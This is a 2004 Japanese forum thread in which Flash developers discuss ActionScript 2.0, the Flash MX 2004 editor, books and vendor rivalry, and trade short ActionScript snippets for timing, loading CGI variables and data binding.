serialize<=>deserialize するやりかたでほかにこなれた方法ってありますか?
PHPもASも触って日が浅くてそこらへんの状況がイマイチわかりません。
よろしくおながいしまつ。


177:Now_loading...774KB
04/06/16 16:19
FLASH-JPとのマルチポストですか・・・

178:Now_loading...774KB
04/06/16 23:34
誰かFLASH OOP買った~?

179:Now_loading...774KB
04/06/16 23:50
>>178
売ってなかった

180:Now_loading...774KB
04/06/17 09:11
>178 amazonで予約してるけど、まだ発送の連絡こねぇ

181:179
04/06/18 01:46
改めてちょっと遠い大き目の書店に見に行ってきたよ。

やっぱり売ってなかった・・・orz

182:Now_loading...774KB
04/06/18 10:02
>>178
15日に新宿の紀伊国屋(本店)に行ったらあったから買った。
只今猛烈に勉強中。
ようやっとclassの使い方が見えてきたよ。

183:178 ◆EfZ/azdK4U
04/06/18 12:12
本日ヨドバシでゲット
カバーサイズが気になる・・・(´д`

184:Now_loading...774KB
04/06/18 22:46
今日、横浜関内の有隣堂で買いました。
まだ50ページも読んでないけど、
String.replace()だのMath.DegreeToRadian()だのの
as2.0版の書き方を知りたかったので、とりあえずオッケ。

185:Now_loading...774KB
04/06/19 22:25
誰か、Design Patterns for Flash Mx Professional 2004
URLリンク(www.amazon.co.jp)
持ってる人いない?
もう注文して2ヶ月以上たったけど、来ない・・・。


186:Now_loading...774KB
04/06/19 22:29
>178 今日紀伊国屋でみっけたけど、なんでカヴァーが寸足らずなのか・・・・

187:Now_loading...774KB
04/06/20 00:32
>>185
「なんだよ、遅れすぎだよ!
手違いがあったんだろ!
こんだけ遅れたんなら割引だよな、そうだよな!
割り引けよ、誠意見せろよ、それでもサービス業かよ!!」

って電話しる。

188:Now_loading...774KB
04/06/22 00:38 qXqFMdzr
まだ2004実務ではつかってないんだが

俺のとこはクライアントが固いから
ようやく6が使用できる状況だしな
大手は腰が重い

2.0定着はまだ時間かかりそう

まぁ6でも全部コンポーネントにして隠蔽してるが
マイナーバージョンでの仕様の違いが多い

なんとかならんのか
ならんね

classの扱いは微妙すぎだった6にくらべればマシかも
コードもシンプルになる
if文イラネ

189:Now_loading...774KB
04/06/22 01:53
2.0で書いて6パブリッシュは可能なんだー

190:Now_loading...774KB
04/06/24 08:06
>>188
たぶん定着するのには相当時間かかると思う。
プラグイン事情はもちろんだけど、今のところ実務レベルでは
2.0に移行する利点がほとんど無いってのが大きい。

191:Now_loading...774KB
04/06/24 09:07
結局さ。
家ではMXを使ってる人が多いんだよね。

職場で残した仕事を家で片付けたい場合の事考えると・・・ね。

192:Now_loading...774KB
04/06/24 11:55
>>190
漏れは全部2.0にしてソースをCVSで管理してるよ。
flaに書いちゃうと差分管理が出来なくて困る

193:Now_loading...774KB
04/06/26 18:10
質問
ASの神たちはいかにして神になったのでしょうか。独学ですか?
セミナー等に通って?
ASの本を数冊買って何度読み返しても理解できない自分に危機感を感じてきました・・・・゜・(ノД`)・゜・

194:Now_loading...774KB
04/06/26 19:06
>>193
読んで覚えるんじゃない
打ち込んで動かしてみて体で感じるのだ

…というか、ASで具体的につくりたい何かがあれば
実現のために努力するわけで、
ただなんとなくでは、何も身につかない気がするな。

195:Now_loading...774KB
04/06/26 20:00
>>193
すぐ分かるもんじゃないって。
すぐに理解できるのは、前からプログラミングとかやってた人。

196:Now_loading...774KB
04/06/27 01:17
>>193
俺は最初必死になってテトリスを作ったぞ
目標を持って動かしてみるべし

197:193
04/06/28 02:07
神達もふつうの人だったんですね・・・
Flashムービーやインターフェイスを作るために今一生懸命です。
あきらめません(`・ω・´)

198:188
04/06/28 03:10
>>190
4と5を天秤にかけると
微妙だったけど
6~7までくると
そんなにバージョンに気使うこともないと思うのだ
むしろ新型のほうがアクセシブルに作れるし
プラグインバージョンを置いても天秤にかければ
新型のほうが有益だと思う。
2.0に関してはオブ的につくれば、
開発の効率も格段によくなる
だから役割を詳細に絞ったチームでの大規模プロジェクトも
比較的短期間でできるしプランニングも完全燃焼できるんじゃないかとか、
htmlなみの簡単さで更新できる、
とか考えたりします
FLASH=プラグインバージョンの問題という
のはそろそろFLASHコンテンツ扱う時点で切り離したほうが
いいんじゃないかなぁ
まぁんなこと愚痴っても仕方ないが

これはオーサーのエゴかな

スレ違いくさいのでsage

>>193
がんばってね

199:Now_loading...774KB
04/06/28 08:54 PKukePoP
マターリしてるな…

200:Now_loading...774KB
04/06/28 14:23
うちの会社にも本読んで出来る気になってるオサーンがいる・・・
実務が無いから言ってる事無茶苦茶・・・もうね、アホかと(´д`;


愚痴スマソ


201:Now_loading...774KB
04/06/28 14:44
flashのactionscriptで,ユーザが行った動作のログをとりたいのですが,そういうことは
出来るのでしょうか??それを解析したいのですが・・・

202:Now_loading...774KB
04/06/28 14:51
>>201
URLリンク(ikasuru.jp)
ここの04が同じことやってるような気がする
.flaDLできるんで見てみれ



203:Now_loading...774KB
04/06/28 18:33
>>193
とりあえずむずかしいのができるヤシってJAVAやCなどの他言語ユーザーがほとんどかと。

204:188
04/06/29 01:08 HHpWnSIa
>>202
もっとも簡単な方法は
マウスアクションの監視して
逐一配列にぶち込んでなんかのタイミングで
sendすればいいんじゃないかと
キータイプに関しては時間と一緒に
キータイプを監視してればいんじゃね?
まぁ掲示板同様「なんかのタイミング」のたびにサーバを
圧迫するのが前提

まぁ思い付きなんでご容赦
スクリプティングもアイデアしだいだから創造的で楽しい
もっとクールな方法があるはず

でも裏でこんなことされるのってヤダネ

個人的には
ユーザビリティテスト用にコンポーネントにしておいてもいい
live connectとかで外に置いておけば利用しやすいし
ちょっとつくってみるか

205:フラクリでAS盗み放題マンセー
04/06/29 01:13
モララーの乱れ島 イージーバージョン

紅白で公開された激ムズアクションのリメイク(?)版です。
オリジナル版のあまりにも理不尽な難易度にいらだちを感じていたため
より遊びやすいようにFLASHCREATERで勝手に解析し勝手に改蔵。
これにより以下の点が改善された。
・LEFTとCREDITの上限が増えた
・途中で回復するようにした
 (新しい画面移動ごとにLIFE2回復、面クリごとにLIFE全回復+1UP)
・MPをたまりやすく設定することもできる
ただし、FLASHCREATERの特性上soundオブジェクトの解析が不十分だったため、
オンライン上で遊べずzipで公開せざる終えなくなりました。

URLリンク(haiiro.info)
URLリンク(haiiro.info)
URLリンク(49uper.com:8082)
URLリンク(49uper.com)

206:Now_loading...774KB
04/06/29 01:15
>>204
XMLSocket使ったこういうのは既にあるね
URLリンク(sos.powerflasher.com)

207:Now_loading...774KB
04/06/29 10:29
>>205
とりあえず、おまえは敵だ

208:Now_loading...774KB
04/07/01 17:07
FLASH OOP読了。ワークショップ形式とはいえ、ものすごく落差のある
本だなあ。微妙だ。微妙すぎる。
オビの勇吾さんの(かも知れない)は痛快だった。やっぱりあの人はちゃんと分かってる
ますます好きになった。

209:Now_loading...774KB
04/07/06 01:35 YVIGrvUp
最近、AMFPHP(Flash RemotingのPHPでの実装)の存在を知って、
PHPの動いているサーバにインストールを試みたのですが、
どうしてもうまく行きません。
と言うわけで現在、日本語でのAMFPHPの資料を探しているのですが
URLリンク(www.loveloveheart.com)
URLリンク(www.qns.us)
こちら以外にご存じの方がいらっしゃれば、教えていただければ幸いです。

210:Now_loading...774KB
04/07/08 15:30
久しぶりにFlash を触ってます。
AS2.0 の出す意味のないエラーが、もうつらくてつらくてたまりません。
MX2004を買ってしまった後悔がまたあふれ出てしまいます。
愚痴を書いてしまいました。
すみませんでした。

211:Now_loading...774KB
04/07/10 20:03
正直、FLASHMX、2004ともに開発環境としては最悪に使いにくいと思うけど、どう?
コードは外部エディタでなんとかするにしても、ヘルプやツール類を載せた
パネルみたいなヤツもほんと使いにくいよ。。。。


212:Now_loading...774KB
04/07/10 22:02
逆に漏れは、開発環境としてMXが使い易すぎて、他のツールがダメぽ。

けど、タイムライン、プロパティインスペクタ、ツールバー、パネル
と4方向全てに重要かつデカいスペースを必要とするって意味で、解像度をメチャ上げないとダメだよね。
中途半端な解像度or小モニタだと、メインステージが小さすぎて作業できないし。

MXに慣れてしまうと、2004はマジ無理ぽ。

環境をフラッシュに特化するか否かで、大きく変わると思われ。

213:Now_loading...774KB
04/07/11 00:52
MXが好きですが解像度は1600x1200ないとツライです

214:211
04/07/11 01:19
>>211-213
そうなの、最低1600X1200ぐらい必要なの......
漏れも21インチのモニタでさらにマルチモニターにしたりしてるんだけど
とにかく、パネルっていうのがダメポ。
パネルからはずしてフロートにしても最小化・最大化が出来ないからむしろ
邪魔だし。
あと、困るのが、コードいじっているつもりがステージ上にフォーカスが
あって、なんか消しちゃったり、ステージ上にコードがコピペされたりしてて
とても萎える。
愚痴ばかりで申しわけない。


215:Now_loading...774KB
04/07/11 01:21
アドビからのイチャモンでタブ形式が使えなかったせいと聞くね。
確かに高解像度じゃないと作業しづらいな・・・
余りサイズの大きい物作らない&スクリプトはincludeで外ファイルを使い慣れたエディタで編集だから
まだマシだけど。

216:Now_loading...774KB
04/07/11 01:23
そういや、あのASリファレンス自体flashで作られてるっぽいね・・・
元のソースはXMLで格納されてるみたいだし。
そんな所に凝らなくていいから、普通にネイティブアプリとしてサクサク動くようにして欲しかった・・・

217:Now_loading...774KB
04/07/11 01:57
イラレで出したSWFを読み込むとMX2004では編集画面がバグる。

218:名無しさん@そうだ選挙に行こう
04/07/11 09:53
>>217
アドベ必死だな!!!


って、まじでアドビとしては、死活問題になりかねないわな。
フォトショは安泰だろうけどなー。イラレもフォトショとの互換で保ててるって感じか。

実際、漏れはスマートスケッチが大好きだし、メインはフラッシュだもんなぁ。
フラで出来ない事はイラレでやるって感じで。
ちなみにドローツールとしてのフラッシュってお話ね。

219:名無しさん@そうだ選挙に行こう
04/07/11 14:34
adobeとmacromediaは仲悪いからなあ。

220:名無しさん@そうだ選挙に行こう
04/07/11 14:37
まあ俺もイラレの代わりに使ったりするしな
MSのパワーポイント代わりとかにも

221:名無しさん@そうだ選挙に行こう
04/07/11 19:39 DDDdSTqm
>214
漏れもフォーカスがいろんなとこに飛ぶのが許せん!

222:211
04/07/11 19:46
>adobeとmacromediaは仲悪いからなあ。
その影響をユーザーがうけるのは納得いかないよね。
それで仕事をしてる人にとっては切実な問題だよ。

Webアプリの開発用途としてシェア拡大を狙うつもりでいるなら、
もっとしっかりやってほしいところ、
オブジェクト指向とかを取り入れる前に統合開発環境として最低限の
機能を満たしてほしい。デバッグとかホント o(゚Д゚)っ モムーリ!

とか結局愚痴になってしまう。もう(´Д⊂ モウダメポ
 


223:名無しさん@そうだ選挙に行こう
04/07/11 20:01
しかし、ファイアヲークスとドリームウィーバーがかなりのシェアを獲得して来てるのも事実だな。

漏れはメインがマクロメディア、サブがアドベって感じになってきてる。
ペジェ使う人はイラレだとは思うけど、ベクタ消しゴム、ベクタバケツが軽いから良いよね。

224:Now_loading...774KB
04/07/11 20:45
いろんな企業が
お互いに仲良くそれでいて上を目指すような
そういう仕組みは無いものだろうか。
やっぱ競争させないと上手く行かないのかな

225:Now_loading...774KB
04/07/11 20:46
SWFプラグインに変わるアニメーションバイトコードに別の企画を作る

226:Now_loading...774KB
04/07/11 21:05
やっぱりASがJSと同じ派生ってのが大きいな。
何気にフラッシュって凄いツールだと思うんだよな。メーカーPCに初期インスコされててもおかしくないほどw

スクリプトが馴染まれてる言語、ドローツールとして優秀、スマートスケッチから派生、
フラッシュアニメ作れる、パワーポイント不要、DTPでも行けなくは無い。

これだけテンコ盛りのツールはそうそう無いべさ。

227:Now_loading...774KB
04/07/11 21:23 uzJhs4B2
スクリプトを記述したフレームで10秒間停止して、
  10秒経てば次のフレームに行く

↑のようなスクリプトを教えてくれませんか?

228:Now_loading...774KB
04/07/11 21:51
>>226
そのかわり器用貧乏だけどな。

229:Now_loading...774KB
04/07/11 22:43
>>227
stop();
id = setInterval(function () {
gotoAndPlay(_currentframe+1);
clearInterval(id);
}, 10000, this);

※:なおこのスレでは「NowLoadingどうやるの?」みたいな
  初歩的な質問は受け付けませんのであしからず。
  その手の質問やそれに近いレベルの質問は↓でドゾー
ActionScript 物凄い勢いで怪盗するスレ その3
スレリンク(swf板)l50

230:211
04/07/11 22:56
デザイン関係の分野ではマクロメディアだいぶがんばってんだ。
アドビ独裁も崩れてきてんのかな?
絵を描くひとにはFLASHとても支持されてるよね......
漏れも、FWはよく使う、つぅーかイラレもってない。

結局FLASHの守備範囲が広くなりすぎて収集がつかなくなってきたつぅーことかな?
サーバとの連携とかオブジェクト指向うんぬんとかは過渡期だから、
こなれるまでまつのが吉ってことかもなぁ~

>>227
ActionScript 物凄い勢いで誰かが質問に答えるスレ
スレリンク(swf板)l50
こっちのいったほうがいいかと、

ちなみに、たぶんこんなかんじだけどうごかしてないからわからん。
wait = 10000;
d = new Date();
waitTime = d.getTime() + wait;
while(waitTime > d.getTime()) {d = new Date();}

231:211
04/07/11 22:58
あぁ、かぶったか、
229さんのコードが正統だとおもう。

232:Now_loading...774KB
04/07/11 22:59
>>229

問題が解決しました!
 大変有難う御座いました。 m(_ _)m

233:Now_loading...774KB
04/07/11 23:26
>>230
オーサリング業界は10年以上前からマクロメディア(マクロマインド)が押さえてて
アドビでも勝てない領域なんですよ。
マイクロソフトがこんどのOSで本気でつぶしに来たらどうなるか・・・

234:Now_loading...774KB
04/07/11 23:32
Flashとイラレが逆転するかもしれないのか・・・

235:Now_loading...774KB
04/07/11 23:42
かといって、FlashでDTPできるようになるわけでもなかろうに。

236:Now_loading...774KB
04/07/11 23:59
イラレにできないことがFlashにはできるよ。
つまりはシェアの問題だと思う。

237:Now_loading...774KB
04/07/12 00:06
シェアつっても出荷本数でFLASHがイラレ抜いたとかじゃぁ意味ないわけで、
DTP業界でデファクトとかにならんと逆転はむりだろ。
FLASHではできないことがイラレではできるわけで....

238:Now_loading...774KB
04/07/12 00:24
DTPは無理だが、既にPDFやPPTに変わる実力を持ってるからなぁ

239:Now_loading...774KB
04/07/12 18:37
いや、DTPも可能だと思う。
フォトショ+イラレ+ページメーカ って組み合わせでアドビ統一してる事務所は少ないんでない?
今多いのは、フォトショ+イラレ+クォーク(インデザ) じゃないかな。

そう言う意味では、フォトショ+フラッシュ+インデザも可能な気がする。
クォーク高いし、フラッシュのWINでのシェアはバカにならないとも思ってる。
漏れの体感だと、イラレはフォント扱う時が致命的に重いんだよね。どんだけメモリ積んでも・・・。

実際にフラッシュでDTPやった事あるけど、普通に出版する程度だとまぁ問題はなかった。

主観が入ってしまうけど、安さと完成度の兼ね合いとかになるのかなぁ。
DTP専用ツールじゃないのに、DTP出来るほどの能力があるって考えると、凄い事ではあるとも思うしね。

割れ使ってる馬鹿デザ事務所は知らんけど・・。


240:Now_loading...774KB
04/07/13 02:09
ASネタないじゃん

241:Now_loading...774KB
04/07/13 02:10
>>240
禁則処理とかに使うんだよ

242: ◆EfZ/azdK4U
04/07/13 17:21
そろそろFlash Lite1.1ネタもいってみようか

243:Now_loading...774KB
04/07/13 18:20
>>242
MX2004Pro限定だから、作れる人が激しく限られる。
容量は最大100kB、loadMovie、loadVariablesが使えるのはかなり期待できるが・・・


244:Now_loading...774KB
04/07/13 18:21
あと、ASのベースが相変わらずFlash4らしい・・・オブジェクトは一部Flash5相当のも入ってるようだが。

245:Now_loading...774KB
04/07/13 18:41
まだ配列すら入ってなかった・・・orz 

246:Now_loading...774KB
04/07/17 00:53 EP/rWKr/
MX2004でコンポーネントの作成をしてみましたが.....
なんか非常にわかりづらいよね...、作成の手続きがややこしい、
クラスファイルでも前半いったい何の定義をしているかわかりづらいし、

1.0のときもリンケージだぁなんだぁ
あっちに名前つけてこっちにも名前つけてって
感じで、どうしょうもないなぁと思ったけど
2.0でさらにひどくなった。その上クラスパスなんかも導入してまったく。
FLASHのスクリプトは1回白紙にもどすか、
すでにある既存の言語でコーディングできるような方向をにいってくれないかな。
って思ってるの漏れだけ?


247:Now_loading...774KB
04/07/17 01:29
>>246
一応JavaScript(の元であるECMAScript Language)準拠だけど、既存のオーサリング環境との
融合しないといけなかったから、リンケージとかは仕方が無いんじゃないかね。
2.0は触ってないから良く知らんが、よりOO志向にしたんだっけ?
まぁ、結局実行時はJavaみたいにVMで動かしてるんだから、スクリプティングに使う言語は変更
しようとおもえば可能なんじゃない?でも余りメリットは思いつかんけど。
現行である程度普及してて、あまり癖が無く記述しやすいOOなスクリプト言語ってJavascriptぐらいでしょ。
JavaやC++で記述できたとしても、あまりflashと馴染まないような気がするし・・・
アプリ作る事が前提ならそれもありかもしれないけどさ。


248:Now_loading...774KB
04/07/17 02:00
V2コンポーネントだけど1.0よりマシになったと思う

249:246
04/07/17 10:40
>>247
たしかにリンケージとかの仕組み自体が必要なのはわかる。ただわかりにくい。
それが2.0になって増した気がする。慣れの問題もあるかもしれんけど。
ムービー制御のコマンドセットからJavaScript風のスクリプト言語へなった過程
はいいとして、2.0への拡張のような「OOっぽいのにしました!」ってところが
とても場当たり的に感じる。言語をボトムアップ的に拡張されるととてもややこ
しくなるし、クラスを別ファイルにしか定義できないってあたりにマクロメディア
の苦悩というか
「なんかややこしくなってきちゃったから、
 クラスは別ファイルでしか定義できないようにしようかね」
みたいな印象をうけるのだが.... 
FLASHになじむ言語ってのはよくわからんけど、ムービー制御の延長上にある言語体系
にOO風を加えるよりは、javaとか使ったほうがよっぽどいいだろ。ものづくりの道具には
それなりの一貫性がひつようかと。

>>248
具体的にどのあたり?
定義の仕方がってこと?

250:Now_loading...774KB
04/07/17 10:43
そんなこんなでECMAScriptはver3に突入するのだが

251:Now_loading...774KB
04/07/17 13:04
FLASHってオブジェクトごとにスクリプトが分散されるので以前作ったソースを
修正する時に構造を理解するだけで時間がかかったりしてちょっと鬱
特にクリップアクションは変数しか書いてないのでよく見落とす。

252:Now_loading...774KB
04/07/17 13:16
>>251
クリップにはすこぶるコードかかないようにしてる。

253:Now_loading...774KB
04/07/17 13:46
>>252
同じく。あと出来るだけinclude使ってソースはfla外部に出してる。
AS1.0ね。

254:初期不良
04/07/17 13:47
>>249
>FLASHになじむ言語ってのはよくわからんけど、ムービー制御の延長上にある言語体系
>にOO風を加えるよりは、javaとか使ったほうがよっぽどいいだろ。ものづくりの道具には
>それなりの一貫性がひつようかと。

使ってみた限りではほとんど Java と同じように使えたよ。
拡張と言うよりはほとんど Java になってしまった雰囲気。
変数の型チェックもできるようになったし。型無し言語返上するつもりなのかな?
2.0 から使い始めた漏れとしては悪くないと思います。

ただ、変数宣言が必要ないところとかは問題あるかもね。
けど、これもコンパイル時のチェックでできる話だから
実装してもらいたいね。後は標準ライブラリをきちんと 2.0 対応
させて充実させて欲しいのココロ。

255:Now_loading...774KB
04/07/17 13:55
>>249
>>254
CMAScript自体、どんどんjava風になってるから、それに準拠したASもjava風になるだろね。

256:Now_loading...774KB
04/07/17 13:59
ちょっと聞きたいんですけどFLASHCREATER対策ってできないんでしょうか?
AS関係はほぼ完璧に解析されるらしいのですが、正直丸見えになるのは気持ち良いものではないので困ってます。

257:Now_loading...774KB
04/07/17 14:17
>>256
swfファイルの仕様が公開されている以上解析されるのはどうしようもないだろね。
できる事があるとしたら、変数名や関数名をめちゃくちゃに変換して解読しにくくするぐらいじゃないか?

258:246
04/07/17 14:27
>>252

FLASHならではのワークフローとかコーディング規約なんかをじっくり
煮詰めて解説したサイトとか本とかあったらうれすい。

こんな場面では完全にスクリプトで制御したほうがいいよ、とか、
インターフェイスの画面遷移が多い場合はこう作れ!! とか、
こんなつくりかたすると保守が楽だし、再利用も可能だよ、とか

FLASHならではの視点中心に、必要ならOO的な概念をもちこむぐらいで

>>254
>2.0 から使い始めた漏れとしては悪くないと思います。
そうでつか。でもJAVAと同じように使えるっていうのは構文的にって意味でしょ?
1.0は型なしだったけどそれはそれでよかったよ。
オブジェクト嗜好をもちこむなら丸ごと持ちこないとただ構文が
まんどくさくなるだけじゃないかな。
言語の利便性と厳密性は完全にトレードオフな関係にあるわけだし、
2.0はそこらへんのバランスがどうかなと。うわべだけOOおっかけはなんか先が心配。

>>255
JavaをもとにかんたんいつかえるようにJavaScriptつくって、それをECMAScriptで
標準化してたらJavaにもどっちゃったって、なんだかなぁ~ 

259:246
04/07/17 14:34
>>256
>>257
データベースの接続アカウントとかハードコーディングしたら、すごくまずいかね?

260:Now_loading...774KB
04/07/17 14:43
>>259
悪用される恐れはあるね。
まぁそもそもユーザー側で実行してる以上、やばい情報は渡さないのが基本だけど。

261:Now_loading...774KB
04/07/17 15:02
>JavaをもとにかんたんいつかえるようにJavaScriptつくって
馬鹿かお前

262:246
04/07/17 15:06
>>262
少なくとも漏れはそういう認識なわけだが...


263:Now_loading...774KB
04/07/17 20:34
ソース隠蔽は大きな問題だけど、パクって流用するにはけっこうスキルが要る。
それに、パクって商用のものを作ったとしても、それを逆に解析されればパクリがバレる可能性がある。
そんなワケでパクられても所詮個人レベルだから気にしていない。


264:Now_loading...774KB
04/07/17 21:03
ECMAScriptがデファクトスタンダードになってくれたら嬉しいのだが。
4thエディションあたりでいい加減枯れてしまうのが必要条件だな。

265:Now_loading...774KB
04/07/17 23:10 euKYPEy8
何にせよ超バギーなのを何とかしてもらいたい。
早くアップデート出ないかな。

266:Now_loading...774KB
04/07/17 23:24 EP/rWKr/
禿同

267:Now_loading...774KB
04/07/18 18:12 H0E6Ihqi
エディターがクソなのもどうにかして欲しい。

268:Now_loading...774KB
04/07/18 18:41 01w7+WE7
2004は知らないけど、MXに関してはそこまで酷くは無いような気もするんだよなー。

けど、やっぱりメモ帳最強。

269:Now_loading...774KB
04/07/18 19:08 UN58hnwV
メモ帳はアンドゥが一回しかできないからやめといたほうがいいよ。
多機能エディタを自分専用にいじくって使うのもプログラマーの楽しみのひとつなんじゃない?

270:Now_loading...774KB
04/07/18 19:27 ympxKbk9
TeraPad一途です

271:Now_loading...774KB
04/07/19 00:25 YbSTXTNk
FLASH本体から独立したASコンパイラがほしい。

272:Now_loading...774KB
04/07/19 00:34 MaDMsefU
禿同

273:Now_loading...774KB
04/07/19 00:58 YbSTXTNk
コンポーネント作成に関してなんだけど、
クラスファイルの中の
初期化メソッドがちーとも呼び出されないのだけどなんでかしらん
function init(Void):Void{ <--こいつ
hogehoge..
}
ヘルプにはクラス作成時に自動でよびだされるから、
そこでコンポーネント初期化しる!!ってあるけど.... 
あと、コンストラクタのなかを空にしとけって書いてあるけどなんで?
クセのある仕様でつか?

274:273
04/07/19 01:14 YbSTXTNk
ぐぐったら解決しまつた。すまそ。

275:Now_loading...774KB
04/07/19 20:16 JgvYFPyq
>>271
海外の何処かで見かけた気がする。
ただ、コンパイルした物をswfに埋め込むリンカが無いと意味無いだろうな・・・

276:273
04/07/19 21:59 YbSTXTNk
>>275
ヘェ~あるんだね。
ちょっと探してみまつ。情報さんくす。

277:必死男
04/07/20 01:08 6MEj5LEw
どうしてもできないところがあって、皆様のお知恵をお借りしたい。
[内容]
FlashMx2004ヘルプ内の「DataSet コンポーネントを使用してアプリケーションを作成するには :」
の手順どおりにサンプルを作ってみましたが、プレビューすると、idしか表示されないのです。
つまり、ほかのカラムが表示されない。カラム名だけは表示されているという奇妙な状況です。
これはどうしてこのようになっているのでしょうか?何か違ってますかね・・・
[当方環境]
FlashMX2004(ver7.01)、WinXPpro

かれこれ何時間も???と悩んでしまっています。
諸先輩方のヘルプをお待ちしてます。マジで。

278:必死男
04/07/20 01:45 6MEj5LEw
書きもれ。
FlashはPro版なのと、どうやらid以外はString型なのですが、
String型がどうも表示されないみたいです。ためしにNumber型の
値を定義したら、きちんと表示されました。
一応ソースを書いておくと、
rootの1フレーム目に、
var recData = [{id:0, firstName:"Mick", lastName:"Jones"},
{id:1, firstName:"Joe", lastName:"Strummer"},
{id:2, firstName:"Paul", lastName:"Simonon"}];
userData.items = recData;
となっています。
userDataはDatasetコンポーネントで、userGridというDataGridコンポもあり、
両者をバインドしてるはず(苦笑)。もしかすると、String型のバインド指定が
必要なのでしょうか?

279:Now_loading...774KB
04/07/20 10:08 eTRbpXVg
>>278
スキーマの設定をしてないんじゃないのかな。コンポーネントインスペクタの
スキーマタブで
id:Number
firstName:String
lastName:String
の3つのスキーマを追加すれば良いと思いますよ


280:275
04/07/20 19:45 ZhlPg1gG
>>276
URLリンク(www.markme.com)
純粋なASコンパイラじゃなかった、スマソ。
ASを別のエディタから書いている場合等に、コマンドラインからswfを生成するためのコンパイラっぽい。
コレはコレで便利そうなんだが、2004Pro用だから試せんな・・・

281:Now_loading...774KB
04/07/20 19:47 SxFejMW6
コンパイラとリンカを分ける純粋なプログラミング技法なら、プログラマは喜ぶだろうな

282:273
04/07/20 21:08 +2drZBRY
>>275
そうみたい。
しかも、.NET FRAMEWORKが必要なようで..... 128MBもあるし..
でも、試してみました....
コマンドラインといいながら結局本体の出力窓使うのはちっよとなぁ~
さらに漏れの環境ではうまく動かずswfを吐くことはできませんでした.onz
せめて構文チェックぐらいはエディタだけで済ましたいところ



283:273
04/07/20 21:48 +2drZBRY
URLリンク(www.sapien.com)
というものもあるらしい。

さらにeclipseのプラグインが出来たりするのでしょうか?

284:必死男
04/07/20 22:58 6MEj5LEw
>279様
ありがとうございます。ご指摘のとおりにDataSetの
スキーマにカラムを追加したら表示されました。
でも、ヘルプには載ってない(笑)

285:275
04/07/21 03:21 U6sB5kns
>>282
構文チェックなら、ASではなく、javascriptの物を探すと良いかも。
AS2.0の元である新しいECMAScriptに対応したものがあるかどうかは微妙だけど。

286:flash 2006
04/07/21 20:10 k7frcnPG
loadMovieでloadVariablesと同じ様な動作をさせたいのですが、出来なくて困っています。スクリプトで例を書くと、
onClipEvent (load) {
this.loadVariables("test.cgi","POST");
}
onClipEvent (data) {
textBox = dataOUT;
}
↓上記スクリプトを下記スクリプトに変更
onClipEvent (load) {
this.loadMovie("test.cgi","POST");
}
onClipEvent (data) {
textBox = dataOUT;
}

test.cgiの内容
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
print "dataOUT=aaaaaa";
exit;
-----------------------------------------
loadVariablesは使用不可で、cgiの内容の変更も不可です。loadMovieでなくても

cgiにアクセス(fla)

cgiが変数を吐き出す(cgi)

cgiが吐き出した変数を読み込む(fla)

上記のような動作が出来れば構いません。私が制作している環境は
WINXP IE6Flash MX(flashのVer)flash5(パブリッシュ)
どなたかよろしくお願いします。

287:Now_loading...774KB
04/07/21 20:20 gqfp9fkJ
なんでloadVariables使えないのか分からないけど、
LoadVarsオブジェクト使うってのはどうよ?

288:286
04/07/21 23:50 7j62T1hD
>>287
>LoadVarsオブジェクト使うってのはどうよ?
出来ればflash5で使用できる関数のみにしたいと思っています。
注文ばかりですいませんm(_ _)m

289:Now_loading...774KB
04/07/22 00:13 Vl9APPhQ
>>288
flash5パブリッシュって、ちゃんと書いてあったなスマネ。
そしておれには思いつかね。またスマネ。

290:275
04/07/22 13:49 7KB2cOaf
loadVariables使用不可じゃ無理だろうね。
cgi側でかなり特殊な細工してやれば、不可能とまでは言わないけどcgiの細工も不可なら
無理ですな。


291: ◆EfZ/azdK4U
04/07/22 14:14 +IfijG78
XMLオブジェクトは使っていいのならば可能だね。
以下のようにすればloadVariablesの代わりになるよ。
(onDataはFLA5だと保証されてないけど問題無いと思われ)

----------------------------------------------------------
var myXML = new XML();
myXML.targetMC = this;//変数を格納するMC
myXML.onData = function(src){
var vars = src.split("&");
for(var i in vars){
var tmp = vars[i].split("=",2);
this.targetMC[tmp[0]] = tmp[1];
}
}
myXML.load("./test.cgi");
----------------------------------------------------------



292:Now_loading...774KB
04/07/22 14:44 7KB2cOaf
あ、XMLオブジェクトがあったか・・・あれflash5から有ったの忘れてた。orz

293:286
04/07/22 17:30 94Ggb63J
みなさんありがとうございます。
早速試してみます

294:Now_loading...774KB
04/07/29 01:24 mC467jyI
ちょっと変な現象で困ってます。
配列で 
 hoge[08]
って書くとエラーがでます。
ちなみに、
 hoge[01]
 hoge[02]など [08]以外は大丈夫です。
環境はXP flashMX2004 pro
漏れだけかな?

295:Now_loading...774KB
04/07/29 01:27 o2LQhStg
00~07は8進数なのでは?

296:Now_loading...774KB
04/07/29 02:11 mC467jyI
>>295
なっとく。さんくす。

297:Now_loading...774KB
04/08/01 14:01 H3PNDGa0
フラクリについて。
FlashCreator体験版でやった限り、読みこんだswfのAS2.0のスクリプトは
一切再現してくれなかった。方法はあるのどすか?

298:Now_loading...774KB
04/08/01 14:05 TJ89KRqn
(初心者質問に記述したのですが、レスがいただけなかったのでマルチポスト

【やりたい事】グラフを作成する
【 質問内容 】動的に(DBからの値によって)グラフを作成することは可能なのでしょうか?
ex : db に" a , 24 "という値が存在する場合, a というヘッダ+ 棒グラフ
   後に検索した時に" a , 24 ", " b , 20 " という値が存在した場合に
   最初のa の棒グラフの横にb のグラフも表示される

   というようにいわばエクセルに出力する行数を変化させていくようなイメージです。
こんなことは可能なのでしょうか?
【 使用環境 】mx 2004 pro + windows xp

299:Now_loading...774KB
04/08/01 14:26 gx3Ipz2S
可能

300:Now_loading...774KB
04/08/01 15:20 6Ig8L9fQ
>>298
もうちっとわかりやすく説明してもらえないとにんともかんとも・・・
DBから受け取った値を元にグラフを描画する、ということなら可能。
とりあえず
MovieClip.lineTo
MovieClip.beginFill
MovieClip.createEmptyMovieClip
MovieClip.endFill
MovieClip.lineStyle
MovieClip.moveTo
あたりを調べてみれ。

301:298
04/08/01 15:31 TJ89KRqn
グラフというよりも、ガントチャートを作成したいのです。
横軸が時間、縦軸が製作対象物となります。
製作対象物は製作が決まればどんどん増えていくので、
そのような場合、オブジェクトをどんどんアクションスクリプトで
追加描画することが可能なのかが疑問となっております。

>>299, 300 さん感謝。
それを使えばできるような気もしました。

加えて、Flash でエンタープライズシステムを作成するというのは
今はよくある話なのでしょうか?

302:300
04/08/01 15:58 6Ig8L9fQ
>>301
「Flash ガントチャート」でぐぐったら面白いのがでてきた
業務で使うつもりだったらコレ買っちまってもいいかもね。

URLリンク(itpro.nikkeibp.co.jp)

